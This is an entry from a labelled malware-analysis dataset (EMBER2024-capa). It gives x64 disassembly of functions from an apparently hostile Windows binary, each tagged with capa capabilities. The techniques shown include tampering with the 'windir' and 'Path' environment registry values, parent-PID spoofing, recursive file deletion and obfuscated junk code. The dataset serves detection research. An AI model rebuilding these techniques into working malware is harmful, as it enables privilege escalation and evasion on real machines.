joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000e188
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x10], rdx
push rsi
push rdi
push r14
sub rsp, 0x40
xor r14d, r14d
mov rbx, r9
mov qword [rax + 0x10], r14
mov rbp, r8
mov esi, ecx
mov edi, r14d
test r8, r8
je 0x14000e295
test rbx, rbx
jne 0x14000e1c7
test ecx, ecx
je 0x14000e295
lea r8, [rsp + 0x68]
mov rcx, 0xffffffff80000001
lea rdx, str.Environment
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x14000e27a
test esi, esi
je 0x14000e1fc
mov rcx, qword [rsp + 0x68]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x14000e246
mov rax, rbx
test rbx, rbx
jne 0x14000e209
mov rax, r14
jmp 0x14000e21f
cmp word [rbx], r14w
je 0x14000e219
add rax, 2
cmp word [rax], r14w
jne 0x14000e20f
sub rax, rbx
sar rax, 1
mov rcx, qword [rsp + 0x68]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete dil
test edi, edi
je 0x14000e27a
xor r8d, r8d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x3e8
mov r9, rbp
mov ecx, 0xffff
mov dword [rsp + 0x20], 1
lea edx, [r8 + 0x1a]
call qword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000e295
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x60]
mov eax, edi
mov rbp, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x14000e2ac
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov dword [rax + 8], ecx
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rax - 0x178]
sub rsp, 0x250
xor r14d, r14d
mov rbx, r9
mov qword [rbp + 0x190], r14
mov esi, r14d
test r9, r9
je 0x14000e456
xor eax, eax
lea rdi, [rsp + 0x40]
mov ecx, 0x208
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp + 0x180]
mov dword [rbp + 0x180], eax
call qword [sym.imp.ntdll.dll_RtlRandomEx]
mov dword [rbp + 0x188], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
not eax
lea rcx, [rbp + 0x180]
mov dword [rbp + 0x180], eax
call qword [sym.imp.ntdll.dll_RtlRandomEx]
mov dword [rbp + 0x18c], eax
lea rdx, [rsp + 0x40]
mov rcx, qword [rbp + 0x188]
call fcn.14000f2fc
mov rdi, 0xffffffff80000001
lea r8, [rsp + 0x40]
mov rcx, rdi
lea rdx, str.Environment
call qword [sym.imp.ADVAPI32.dll_RegRenameKey]
test eax, eax
jne 0x14000e437
lea r8, [rbp + 0x190]
mov rcx, rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x14000e3f0
mov rax, rbx
cmp word [rbx], r14w
je 0x14000e396
add rax, 2
cmp word [rax], r14w
jne 0x14000e38c
mov rcx, qword [rbp + 0x190]
lea rdx, str.windir
sub rax, rbx
mov r9d, 1
sar rax, 1
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x190]
test eax, eax
sete sil
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp + 0x190], r14
lea r8, str.Environment
mov rcx, rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegRenameKey]
test esi, esi
je 0x14000e437
xor r8d, r8d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x3e8
lea r9, str.windir
mov ecx, 0xffff
mov dword [rsp + 0x20], 1
lea edx, [r8 + 0x1a]
call qword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov rcx, qword [rbp + 0x190]
test rcx, rcx
je 0x14000e456
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
add rsp, 0x250
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x14000e468
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov dword [rax + 0x18], r8d
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rax - 0x57]
sub rsp, 0xa0
xor r14d, r14d
mov rdi, r9
mov qword [rbp + 0x5f], r14
mov esi, r14d
mov qword [rbp + 0x67], r14
mov ebx, 0xc0000001
mov qword [rbp - 0x29], r14
test r9, r9
je 0x14000e627
lea rcx, [rbp - 0x31]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov ebx, eax
test eax, eax
js 0x14000e5fb
lea rax, [rbp - 0x31]
mov dword [rbp - 1], 0x30
xorps xmm0, xmm0
mov qword [rbp + 0xf], rax
lea r8, [rbp - 1]
mov qword [rbp + 7], r14
mov edx, 0x2000000
mov dword [rbp + 0x17], 0x40
lea rcx, [rbp + 0x5f]
movdqu xmmword [rbp + 0x1f], xmm0
lea esi, [r14 + 1]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov ebx, eax
test eax, eax
js 0x14000e5fb
lea rdx, str.Environment
lea rcx, [rbp - 0x21]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rbp + 0x5f]
lea r8, [rbp - 1]
mov qword [rbp + 7], rax
lea rcx, [rbp + 0x67]
lea rax, [rbp - 0x21]
mov edx, 0x2000000
mov qword [rbp + 0xf], rax
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov ebx, eax
test eax, eax
js 0x14000e5fb
lea rdx, str.Path
lea rcx, [rbp - 0x11]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov r9, qword [rbp + 0x7f]
test r9, r9
je 0x14000e58b
mov rax, qword [0x140025290]
lea r8d, [r14 + 2]
lea rdx, str.Path
mov dword [rbp + 0x6f], r14d
mov rcx, qword [rax + 0x18]
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x67]
mov qword [rsp + 0x20], rax
call fcn.14000d850
mov rax, rdi
cmp word [rdi], r14w
je 0x14000e59e
add rax, 2
cmp word [rax], r14w
jne 0x14000e594
mov rcx, qword [rbp + 0x67]
lea rdx, [rbp - 0x11]
sub rax, rdi
mov r9d, 2
sar rax, 1
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov ebx, eax
test eax, eax
js 0x14000e5fb
xor r8d, r8d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x3e8
lea r9, str.Path
mov ecx, 0xffff
mov dword [rsp + 0x20], esi
lea edx, [r8 + 0x1a]
call qword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov rcx, qword [rbp + 0x67]
test rcx, rcx
je 0x14000e60a
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rbp + 0x5f]
test rcx, rcx
je 0x14000e619
call qword [sym.imp.ntdll.dll_NtClose]
test esi, esi
je 0x14000e627
lea rcx, [rbp - 0x31]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
not ebx
shr ebx, 0x1f
mov eax, ebx
add rsp, 0xa0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x14000e85c
Capabilities:
Access pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
mov r14d, r9d
mov r15, r8
mov r12d, edx
mov rbp, rcx
xor ebx, ebx
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov rdi, rax
test rax, rax
je 0x14000e8f5
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], ebx
mov rcx, rbp
call fcn.140001784
mov rsi, rax
test rax, rax
je 0x14000e8f5
mov rdx, r15
mov rcx, rax
call fcn.14000191c
test rax, rax
je 0x14000e8e4
sub eax, esi
mov dword [rdi + 0x28], eax
test r14d, r14d
je 0x14000e8d1
mov eax, 0xdfff
and word [rdi + 0x16], ax
mov edx, r12d
mov rcx, rbp
call fcn.14000da68
mov dword [rdi + 0x58], eax
mov ebx, 1
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
ret

Function at 0x14000eaf4
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x20
mov rcx, qword [0x140025290]
mov edi, 0x1000
and dword [rsp + 0x30], 0
mov r8d, edi
mov edx, 8
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x14000ebb2
jmp 0x14000eb71
mov rcx, qword [0x140025290]
mov r8, rbx
xor edx, edx
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea eax, [rdi + rdi]
mov edi, eax
cmp eax, 0x20000000
ja 0x14000ebb2
mov rcx, qword [0x140025290]
mov r8d, edi
mov edx, 8
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
lea r9, [rsp + 0x30]
mov r8d, edi
mov rdx, rax
mov ecx, 5
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14000eb33
test eax, eax
js 0x14000eb97
mov rax, rbx
jmp 0x14000ebb4
test rbx, rbx
je 0x14000ebb2
mov rcx, qword [0x140025290]
mov r8, rbx
xor edx, edx
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor eax, eax
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14000fc9c
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], r9
mov qword [rax + 8], rcx
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x47]
sub rsp, 0xe0
mov rsi, qword [rbp + 0x7f]
xor r12d, r12d
mov rbx, r8
mov r15, rdx
mov r14d, r12d
test rsi, rsi
je 0x14000fcda
mov qword [rsi], r12
xor eax, eax
lea rdi, [rbp - 0x71]
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x51]
lea ecx, [rax + 0x70]
rep stosb byte [rdi], al
test rbx, rbx
jne 0x14000fcfc
mov r8, r12
jmp 0x14000fd08
add r8, 2
cmp word [r8], r12w
jne 0x14000fcf8
sub r8, rbx
sar r8, 1
mov rcx, qword [0x140025290]
lea r8, [r8*2 + 2]
mov edx, 8
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdi, rax
test rax, rax
je 0x14000fe7e
mov rdx, rbx
mov rcx, rax
call fcn.140001b70
mov r8d, 0x30
mov dword [rbp - 0x51], 0x70
mov qword [rbp + 0x67], r8
lea ebx, [r8 - 0x28]
cmp r8, 0x400
ja 0x14000fe68
mov rcx, qword [0x140025290]
mov edx, ebx
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov qword [rbp + 0x17], rax
test rax, rax
je 0x14000fe54
xor r8d, r8d
lea r9, [rbp + 0x67]
mov rcx, rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x14000fe3d
mov rcx, qword [rbp + 0x17]
lea r9, [rbp + 0x4f]
mov qword [rsp + 0x30], r12
xor edx, edx
mov qword [rsp + 0x28], r12
mov r8d, 0x20000
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x14000fe2b
lea rax, [rbp - 0x71]
mov dword [rbp - 0x15], 1
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp - 0x51]
mov word [rbp - 0x11], r12w
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r12
mov rdx, rdi
mov qword [rsp + 0x30], r12
mov rcx, r15
mov dword [rsp + 0x28], 0xc080024
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000fe2b
mov r14, qword [rbp - 0x71]
test rsi, rsi
je 0x14000fe21
mov rax, qword [rbp - 0x69]
mov qword [rsi], rax
jmp 0x14000fe2b
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, qword [rbp + 0x17]
test r8, r8
je 0x14000fe41
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov r8, qword [rbp + 0x17]
mov rcx, qword [0x140025290]
xor edx, edx
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000fe68
mov r8, qword [rbp + 0x67]
jmp 0x14000fd52
mov rcx, qword [0x140025290]
mov r8, rdi
xor edx, edx
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea r11, [rsp + 0xe0]
mov rax, r14
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x1400100e0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5a8]
sub rsp, 0x690
mov r15d, 0x104
mov r8, rcx
mov rdi, rcx
mov r14d, 1
mov r9d, r15d
lea rcx, [rbp + 0x380]
mov edx, r15d
mov ebx, r14d
call fcn.140001bb0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
je 0x14001014c
mov r8d, r15d
lea rdx, [0x14001f068]
lea rcx, [rbp + 0x380]
call fcn.14000ffe4
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400101e5
test r14d, r14d
je 0x1400101e5
mov r9, r15
lea rcx, [rsp + 0x20]
mov r8, rdi
mov rdx, r15
call fcn.140001bb0
mov r8, r15
lea rdx, [rbp + 0x15c]
lea rcx, [rsp + 0x20]
call fcn.14000ffe4
test byte [rbp + 0x130], 0x10
je 0x1400101c5
cmp word [rbp + 0x15c], 0x2e
je 0x1400101d0
lea rcx, [rsp + 0x20]
call fcn.1400100e0
neg eax
sbb ecx, ecx
and ebx, ecx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x1400101d0
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov r14d, eax
jmp 0x140010169
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
je 0x14001020a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
neg eax
sbb ecx, ecx
and ebx, ecx
lea r11, [rsp + 0x690]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14001022c
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x50
xor esi, esi
lea r8, [rbp - 0x10]
lea rdx, [0x1400158e0]
mov qword [rbp - 0x10], rsi
mov qword [rbp - 0x20], rsi
mov rbx, rcx
call qword [sym.imp.SHELL32.dll_SHAssocEnumHandlersForProtocolByApplication]
test eax, eax
js 0x1400103d4
mov rcx, qword [rbp - 0x10]
lea r9, [rbp + 0x28]
mov dword [rbp + 0x28], esi
lea r8, [rbp - 0x18]
mov qword [rbp - 0x18], rsi
mov edx, 1
mov rax, qword [rcx]
call qword [rax + 0x18]
test eax, eax
js 0x1400103c1
cmp dword [rbp + 0x28], esi
je 0x1400103ca
mov rcx, qword [rbp - 0x18]
lea r8, [rbp - 0x20]
lea rdx, [0x1400158d0]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
js 0x1400103b7
mov rcx, qword [rbp - 0x20]
lea rdx, [rbp + 0x38]
mov qword [rbp + 0x38], rsi
mov rax, qword [rcx]
call qword [rax + 0x20]
test eax, eax
js 0x1400103ad
mov rdx, qword [rbp + 0x38]
test rdx, rdx
je 0x1400103ad
mov rax, rbx
test rbx, rbx
jne 0x1400102e4
mov rax, rsi
jmp 0x1400102f8
cmp word [rbx], si
je 0x1400102f2
add rax, 2
cmp word [rax], si
jne 0x1400102e9
sub rax, rbx
sar rax, 1
mov rcx, rdx
cmp word [rdx], si
je 0x140010309
add rcx, 2
cmp word [rcx], si
jne 0x140010300
sub rcx, rdx
mov edx, 8
sar rcx, 1
lea r8, [rcx + rax]
mov rcx, qword [0x140025290]
lea r8, [r8*2 + 8]
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdi, rax
test rax, rax
je 0x1400103a3
mov rdx, qword [rbp + 0x38]
mov rcx, rax
call fcn.140001b70
lea rdx, [0x14001f070]
call fcn.140001ac8
mov rdx, rbx
mov rcx, rdi
call fcn.140001ac8
lea rax, [rbp + 0x30]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
mov r8, rdi
mov dword [rbp + 0x30], esi
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionApplicationAssociationToasts
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [0x140025290]
mov r8, rdi
xor edx, edx
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + InitCommonControls]
mov rcx, qword [rbp - 0x18]
mov rax, qword [rcx]
call qword [rax + InitCommonControls]
cmp dword [rbp + 0x28], esi
jne 0x140010265
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
call qword [rax + InitCommonControls]
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400063a9
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
movsx eax, r9w
movzx eax, bp
mov rax, 0x6af85744
push rsi
cdqe
cmp r13b, 0x87
movsxd rax, r10d
push rdi
push r14
bts si, r15w
sub rsp, 0x20
sar r14b, 0x15
add ah, 0xfd
xchg al, r14b
lea rax, [rcx - 1]
movzx r14, si
sar r14w, cl
mov dword [rsp + 0x58], 0
sub si, 0x1d66
shr r14w, 0xd4
mov sil, 0xce
mov r14, rdx
mov rsi, rcx
cmp rax, 0xfffffffffffffffd
ja 0x140006631
mov eax, 0x5a4d
clc
cmp word [rcx], ax
jmp 0x14000641b
jne 0x140006631
mov edi, dword [rcx + 0x3c]
cmc
lea rdi, [rdi + rcx]
stc
clc
cmp r13w, r8w
cmp dword [rdi], 0x4550
jmp 0x14000643a
jne 0x140006631
test rdi, rdi
jmp 0x140006448
je 0x140006631
movzx eax, word [rdi + 0x18]
cmovnp rcx, r14
clc
adc rcx, r9
mov ecx, 0x10b
mov qword [rsp + 0x48], rbp
cmp ax, cx
jmp 0x14000646c
je 0x1400064dd
mov ecx, 0x20b
test r8b, bl
cmp ax, cx
jmp 0x140006482
je 0x1400064c4
mov rbp, qword [rsp + 0x48]
bt r14w, 0xd8
mov eax, 0xfffffffe
neg dil
add rsp, 0x20
movzx edi, r15w
pop r14
movsx si, r13b
xchg edi, esi
movsx edi, r8w
pop rdi
movsx si, r14b
xchg sil, sil
movzx esi, r8w
pop rsi
jmp 0x1400064c3
ret
mov rbp, qword [rdi + 0x30]
jmp 0x1400064d8
jmp 0x1400064e0
mov ebp, dword [rdi + 0x34]
mov r8d, 5
jmp 0x1400064eb
mov qword [rsp + 0x40], rbx
jmp 0x1400064f9
lea r9, [rsp + 0x58]
mov cx, 0x978
mov rcx, rsi
call section..code0
test rax, rax
jmp 0x140006512
je 0x140006611
mov ebx, dword [rsp + 0x58]
cmc
test ebx, ebx
jmp 0x140006524
je 0x140006611
mov rdi, rsi
sub rdi, rbp
sbb r9w, r14w
btr r9w, 0xd8
add rdi, r14
test r12b, bl
shld dx, bx, 0x2c
nop dword [rax]
mov edx, dword [rax + 4]
xchg ecx, r8d
movzx r8d, di
lea r8, [rax + 8]
bts rcx, rdx
rcr ecx, 0x97
shl r9w, 0x23
mov ecx, dword [rax]
shrd r9d, r8d, 0x32
bts r9w, r11w
sub ebx, edx
movzx r9, di
add r9b, r15b
add edx, 0xfffffff8
mov r9b, al
not r9w
lea rcx, [rcx + rsi]
movzx r9w, r10b
shr edx, 1
cmove r9, rdi
mov r9b, 8
mov r9, rdi
jmp 0x14000659f
call fcn.140006661
test rax, rax
jmp 0x1400065ac
je 0x140006602
test ebx, ebx
jne 0x14000654c
xor eax, eax
rol sil, 0x42
adc bl, 0x69
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
rol rdi, 0xdb
add rsp, 0x20
movsx r14d, r11w
movzx rdi, si
movsxd r14, r11d
pop r14
jmp 0x1400065ef
pop rdi
seta sil
movsx rsi, bx
movsx esi, dx
pop rsi
jmp 0x140006601
ret
mov eax, 0xfffffffe
jmp 0x14000660c
jmp 0x1400065c3
movzx eax, byte [rdi + 0x16]
test r9, 0x1e7c5812
and al, 1
neg al
jmp 0x140006625
sbb eax, eax
jmp 0x14000662c
jmp 0x1400065c3
mov eax, 0xfffffffe
seta r14b
clc
add rsp, 0x20
seto dil
pop r14
mov sil, r8b
movsx rdi, r8w
setb dil
pop rdi
not sil
movzx esi, si
movsxd rsi, r13d
pop rsi
jmp 0x140006660
ret
Function at 0x140006fa9
Capabilities:
Encrypt data using rc4 prga
Parse pe header

Disassembly:
mov qword [rsp + 0x18], rbx
bt rbx, 0xfb
mov qword [rsp + 0x20], rbp
adc ebp, r9d
and rbp, 0x3db544e9
cwde
push rsi
shl bpl, 0xef
shrd rax, rsp, 0xfc
setp bpl
sub rsp, 0x20
bts ebx, ebx
mov rbx, rcx
xor esi, esi
shl rcx, cl
mov ecx, esi
mov ebp, 0x5a4d
shrd ax, bp, 0x72
lea rax, [rbx - 1]
clc
cmp rax, 0xfffffffffffffffd
jmp 0x140006ffa
ja 0x140007029
cmp word [rbx], bp
jmp 0x140007008
jne 0x140007029
mov eax, dword [rbx + 0x3c]
test esi, 0x7f6a5cd1
add rax, rbx
cmp dword [rax], 0x4550
jmp 0x140007025
cmove rcx, rax
mov eax, 0x2000
test sil, 0x85
test word [rcx + 0x16], ax
jmp 0x14000703b
je 0x1400070c8
lea rax, [rbx - 1]
jmp 0x14000704b
cmp rax, 0xfffffffffffffffd
ja 0x14000707b
cmp word [rbx], bp
jmp 0x14000705d
jne 0x14000707b
mov eax, dword [rbx + 0x3c]
lea rax, [rax + rbx]
cmp dword [rax], 0x4550
cmove rsi, rax
not dx
cmp r14b, 0xd4
mov eax, dword [rsi + 0x28]
rcl si, cl
shr esi, cl
setno dl
sub r8d, r8d
jmp 0x14000708e
lea rax, [rax + rbx]
mov rcx, rbx
movzx esi, r13w
shr ebx, 0x44
btc dx, dx
lea edx, [r8 + 1]
xor sil, 0x31
bsf esi, ecx
rcl bpl, cl
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
movzx rsi, r10w
pop rsi
jmp 0x1400070c6
jmp rax
mov r8d, 9
mov r9b, r14b
movsxd r9, edx
lea r9, [rsp + 0x38]
mov rcx, rbx
jmp 0x1400070e1
call section..code0
test rax, rax
je 0x140007170
mov qword [rsp + 0x30], rdi
mov rdi, qword [rax + 0x18]
cmc
test rdi, rdi
jmp 0x140007101
je 0x140007160
mov rax, qword [rdi]
cmp r13w, 0x5cb0
cmc
test rax, rax
je 0x140007160
nop dword [rax]
nop dword [rax + rax]
xor r8d, r8d
movzx dx, r13b
movsx cx, dil
movzx ecx, cx
lea rdi, [rdi + 8]
mov rcx, rbx
xchg dx, dx
movsxd rdx, eax
lea edx, [r8 + 1]
call rax
mov rax, qword [rdi]
jmp 0x140007152
test rax, rax
jmp 0x14000715a
jne 0x140007126
mov rdi, qword [rsp + 0x30]
mov al, r12b
inc ah
test r13w, 0x7af1
lea rax, [rbx - 1]
cmp rax, 0xfffffffffffffffd
jmp 0x14000717d
ja 0x1400071a9
cmp word [rbx], bp
jne 0x1400071a9
mov eax, dword [rbx + 0x3c]
mov bpl, 0xf8
add rax, rbx
rcr bp, cl
add bpl, 0x93
cmp dword [rax], 0x4550
movsxd rbp, r10d
cmove rsi, rax
mov eax, dword [rsi + 0x28]
sub bpl, r8b
lea rax, [rax + rbx]
rcl sil, 0x22
rcr rsi, 0xfe
sbb sil, r14b
mov rbx, qword [rsp + 0x40]
rcl bpl, 0x89
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
jmp 0x1400071d6
jmp rax
Function at 0x140008232
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
cmp si, r15w
stc
test di, dx
push rdi
sub rsp, 0x90
jmp 0x14000824c
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rbx, rax
jmp 0x14000825f
movzx ecx, word [rax]
test r13b, 0x55
stc
cmp spl, 0x24
cmp cx, 0x22
jmp 0x140008274
jne 0x1400082f8
nop
movzx edx, cx
stc
cmp dil, 0x82
test cl, r15b
cmp cx, 0x22
jmp 0x14000828f
je 0x1400082c7
movzx ecx, word [rbx + 2]
clc
cqo
cwd
add rbx, 2
add dx, 0x23df
movzx dx, dh
jmp 0x1400082b0
movzx edx, cx
jmp 0x1400082b9
test cx, cx
jmp 0x1400082c1
jne 0x14000827b
lea rax, [rbx + 2]
sal ecx, cl
dec ch
sub cl, 0x25
cmp dx, 0x22
movsx ecx, bx
sete ch
cmovne rax, rbx
xchg ecx, ebx
mov rbx, rax
movsx rcx, di
mov rcx, 0x2fa43822
movzx ecx, word [rax]
jmp 0x14000833a
cmp cx, 0x20
jmp 0x140008301
jbe 0x14000833a
nop dword [rax]
sub cx, 0x5032
jmp 0x140008315
nop word [rax + rax]
sbb cl, r10b
shr ecx, cl
movzx ecx, word [rbx + 2]
test r10b, 0xe0
clc
add rbx, 2
cmp cx, 0x20
ja 0x140008323
test cx, cx
jmp 0x140008342
je 0x140008371
cmp cx, 0x20
jmp 0x140008351
ja 0x140008371
movzx ecx, word [rbx + 2]
add rbx, 2
cmp r14w, si
test cx, cx
jmp 0x14000836b
jne 0x140008348
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x5c], 0
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call fcn.140008594
test byte [rsp + 0x5c], 1
cmovns di, r13w
movzx edi, word [rsp + 0x60]
jne 0x1400083a3
mov edi, 0xa
sub ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r9d, edi
bsf cx, r13w
and r8, r12
rcl r8d, 0xd2
mov r8, rbx
shr rcx, cl
mov rcx, rax
test r8w, cx
sub edx, edx
jmp 0x1400083ce
call fcn.1400078e3
mov ebx, eax
jmp 0x1400083da
call fcn.1400083f1
mov ecx, ebx
jmp 0x1400083e6
call qword [sym.imp.KERNEL32.dll_ExitProcess]